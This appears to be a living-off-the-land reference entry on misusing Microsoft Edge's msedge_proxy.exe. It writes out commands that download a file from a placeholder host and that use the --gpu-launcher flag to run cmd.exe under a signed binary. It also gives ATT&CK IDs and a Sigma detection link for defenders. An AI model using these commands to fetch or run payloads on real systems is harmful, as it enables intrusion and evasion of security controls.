.. /msedge_proxy.exe

Download Execute

Microsoft Edge Browser

Paths:
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe

Acknowledgements:

- Mert Daş (@merterpreter)

Detections:

- Sigma:

https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_susp_electron_execution_proxy.yml

Download

. msedge_proxy will download malicious file.

```
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe http://example.com/test.zip
```

Use case:	Download file from the internet
Privileges required:	User
Operating systems:	Windows 10, Windows 11
ATT&CK® technique:	T1105

. Edge will silently download the file.

```
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="C:\\Windows\\System32\\cmd.exe /c curl ipinfo.io/json --output %USERPROFILE%\\Desktop\\test.json &&"
```

Use case:	Download file from the internet
Privileges required:	User
Operating systems:	Windows 10, Windows 11
ATT&CK® technique:	T1105

Execute

msedge_proxy.exe will execute file in the background

```
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="C:\\Windows\\System32\\cmd.exe /c ping google.com &&"
```

Use case:	Executes a process under a trusted Microsoft signed binary
Privileges required:	User
Operating systems:	Windows 10, Windows 11
ATT&CK® technique:	T1218.015